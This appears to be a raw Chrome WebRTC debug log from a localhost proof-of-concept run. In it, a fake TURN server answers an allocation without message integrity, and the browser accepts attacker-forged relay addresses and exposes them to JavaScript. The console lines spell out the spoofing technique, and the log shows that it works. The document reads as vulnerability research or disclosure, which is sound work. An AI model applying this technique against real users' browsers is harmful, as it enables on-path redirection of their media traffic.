[343:367:0420/130815.674347:INFO:third_party/webrtc/rtc_base/openssl_key_pair.cc:89] Returning key pair [343:367:0420/130815.675734:INFO:third_party/webrtc/rtc_base/boringssl_certificate.cc:242] Returning certificate [264:264:0420/130815.697067:INFO:CONSOLE:15] "[*] creating RTCPeerConnection with turn:127.0.0.1:29478 (plain UDP, no TLS)", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.745109:INFO:CONSOLE:15] "[*] credentials supplied: username='victim-user' credential='victim-secret-password'", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.745370:INFO:CONSOLE:15] "[*] the fake server will send Allocate SUCCESS with NO MESSAGE-INTEGRITY", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.745539:INFO:CONSOLE:15] "[*] (an on-path attacker who does NOT know the credential could do exactly this)", source: http://127.0.0.1:29080/poc.html (15) [343:367:0420/130815.746686:INFO:third_party/webrtc/p2p/base/p2p_transport_channel.cc:596] Set presume writable when fully relayed to 0 [343:367:0420/130815.757531:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:372] Start getting ports with turn_port_prune_policy 0 [264:264:0420/130815.774822:INFO:CONSOLE:15] "[*] iceGatheringState=gathering", source: http://127.0.0.1:29080/poc.html (15) [343:367:0420/130815.777307:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:805] Allocate ports on ens4 [343:367:0420/130815.778802:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:1491] AllocationSequence: UDPPort will be handling the STUN candidate generation. [343:367:0420/130815.778977:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:915] Adding allocated port for 0 [343:367:0420/130815.787635:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:954] Port[ce431080:0:1:0:host:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Gathered candidate: Cand[:1541653478:1:udp:2122260223:172.19.177.x:55356:host::0:KzTQ:ClBnEDbXnh10Xlpx98kgXHLk:1:0:0] [343:367:0420/130815.788439:VERBOSE1:third_party/webrtc/p2p/base/basic_ice_controller.cc:572] Sorting 0 available connections due to: new candidate pairs created from a new local candidate [264:264:0420/130815.793589:INFO:CONSOLE:15] "[+] candidate: candidate:1541653478 1 udp 2122260223 172.19.177.74 55356 typ host generation 0 ufrag KzTQ network-id 1", source: http://127.0.0.1:29080/poc.html (15) [343:367:0420/130815.843624:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:1404] Net[ens4:172.19.177.x/32:Ethernet:id=1]: Allocation Phase=Relay [343:367:0420/130815.844027:INFO:third_party/webrtc/p2p/base/port.cc:130] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Port created with network cost 0 [343:367:0420/130815.844311:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:915] Adding allocated port for 0 [343:367:0420/130815.844516:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:937] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Added port to allocator [343:367:0420/130815.844907:INFO:third_party/webrtc/p2p/base/turn_port.cc:418] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Trying to connect to TURN server via udp @ 127.0.0.x:29478 [343:367:0420/130815.845405:INFO:third_party/webrtc/p2p/base/turn_port.cc:1390] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN allocate request sent, id=57497a542f745635374b4e54 [343:367:0420/130815.846694:INFO:third_party/webrtc/p2p/base/turn_port.cc:1396] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN allocate requested successfully, id=57497a542f745635374b4e54, code=0, rtt=1463 us [343:367:0420/130815.846995:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:954] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Gathered candidate: Cand[:159944841:1:udp:58662911:198.51.100.x:6666:relay:203.0.113.x:5555:KzTQ:ClBnEDbXnh10Xlpx98kgXHLk:1:0:0] [343:367:0420/130815.847173:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:987] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Port ready. [343:367:0420/130815.847424:VERBOSE1:third_party/webrtc/p2p/base/basic_ice_controller.cc:572] Sorting 0 available connections due to: new candidate pairs created from a new local candidate [343:367:0420/130815.847688:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:1099] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Port completed gathering candidates. [343:367:0420/130815.847928:WARNING:third_party/webrtc/p2p/base/turn_port.cc:1166] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Received response with short lifetime: 8 seconds. [343:367:0420/130815.848525:INFO:third_party/webrtc/p2p/base/turn_port.cc:1184] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Scheduled refresh in 4000ms. [264:264:0420/130815.849926:INFO:CONSOLE:15] "[+] candidate: candidate:159944841 1 udp 58662911 198.51.100.99 6666 typ relay raddr 203.0.113.77 rport 5555 generation 0 ufrag KzTQ network-id 1", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.850563:INFO:CONSOLE:15] "[!!!] VULNERABILITY TRIGGERED", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.850744:INFO:CONSOLE:15] "[!!!] relay candidate address = 198.51.100.99:6666", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.852756:INFO:CONSOLE:15] "[!!!] relay candidate raddr/rport = 203.0.113.77:5555", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.852896:INFO:CONSOLE:15] "[!!!] matches attacker-forged values: true", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.853024:INFO:CONSOLE:15] "[!!!] Chrome accepted an Allocate SUCCESS with NO MESSAGE-INTEGRITY", source: http://127.0.0.1:29080/poc.html (15) [264:264:0420/130815.853141:INFO:CONSOLE:15] "[!!!] and surfaced the attacker-chosen relay address to JavaScript.", source: http://127.0.0.1:29080/poc.html (15) [343:367:0420/130815.906785:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:915] Adding allocated port for 0 [343:367:0420/130815.907787:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:954] Port[ce482c80:0:1:0:host:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Gathered candidate: Cand[:623649150:1:tcp:1518280447:172.19.177.x:9:host::0:KzTQ:ClBnEDbXnh10Xlpx98kgXHLk:1:0:0] [343:367:0420/130815.908150:VERBOSE1:third_party/webrtc/p2p/base/basic_ice_controller.cc:572] Sorting 0 available connections due to: new candidate pairs created from a new local candidate [343:367:0420/130815.908437:INFO:third_party/webrtc/p2p/client/basic_port_allocator.cc:1099] Port[ce482c80:0:1:0:host:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Port completed gathering candidates. [264:264:0420/130815.910166:INFO:CONSOLE:15] "[+] candidate: candidate:623649150 1 tcp 1518280447 172.19.177.74 9 typ host tcptype active generation 0 ufrag KzTQ network-id 1", source: http://127.0.0.1:29080/poc.html (15) [343:367:0420/130819.859433:INFO:third_party/webrtc/p2p/base/turn_port.cc:1586] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN refresh request sent, id=6b776a7266454e366753564f [343:367:0420/130819.860644:INFO:third_party/webrtc/p2p/base/turn_port.cc:1592] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN refresh requested successfully, id=6b776a7266454e366753564f, code=0, rtt=1459 us [343:367:0420/130819.860942:WARNING:third_party/webrtc/p2p/base/turn_port.cc:1166] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Received response with short lifetime: 8 seconds. [343:367:0420/130819.861225:INFO:third_party/webrtc/p2p/base/turn_port.cc:1184] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Scheduled refresh in 4000ms. [343:367:0420/130823.875076:INFO:third_party/webrtc/p2p/base/turn_port.cc:1586] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN refresh request sent, id=706931733071386d6142672f [343:367:0420/130823.876422:INFO:third_party/webrtc/p2p/base/turn_port.cc:1592] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN refresh requested successfully, id=706931733071386d6142672f, code=0, rtt=1574 us [343:367:0420/130823.876716:WARNING:third_party/webrtc/p2p/base/turn_port.cc:1166] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Received response with short lifetime: 8 seconds. [343:367:0420/130823.877027:INFO:third_party/webrtc/p2p/base/turn_port.cc:1184] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Scheduled refresh in 4000ms. [343:367:0420/130827.890754:INFO:third_party/webrtc/p2p/base/turn_port.cc:1586] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN refresh request sent, id=654d6e782f7775376267326e [343:367:0420/130827.892124:INFO:third_party/webrtc/p2p/base/turn_port.cc:1592] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: TURN refresh requested successfully, id=654d6e782f7775376267326e, code=0, rtt=1643 us [343:367:0420/130827.892445:WARNING:third_party/webrtc/p2p/base/turn_port.cc:1166] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Received response with short lifetime: 8 seconds. [343:367:0420/130827.892755:INFO:third_party/webrtc/p2p/base/turn_port.cc:1184] Port[ce4b1180:0:1:0:relay:Net[ens4:172.19.177.x/32:Ethernet:id=1]]: Scheduled refresh in 4000ms.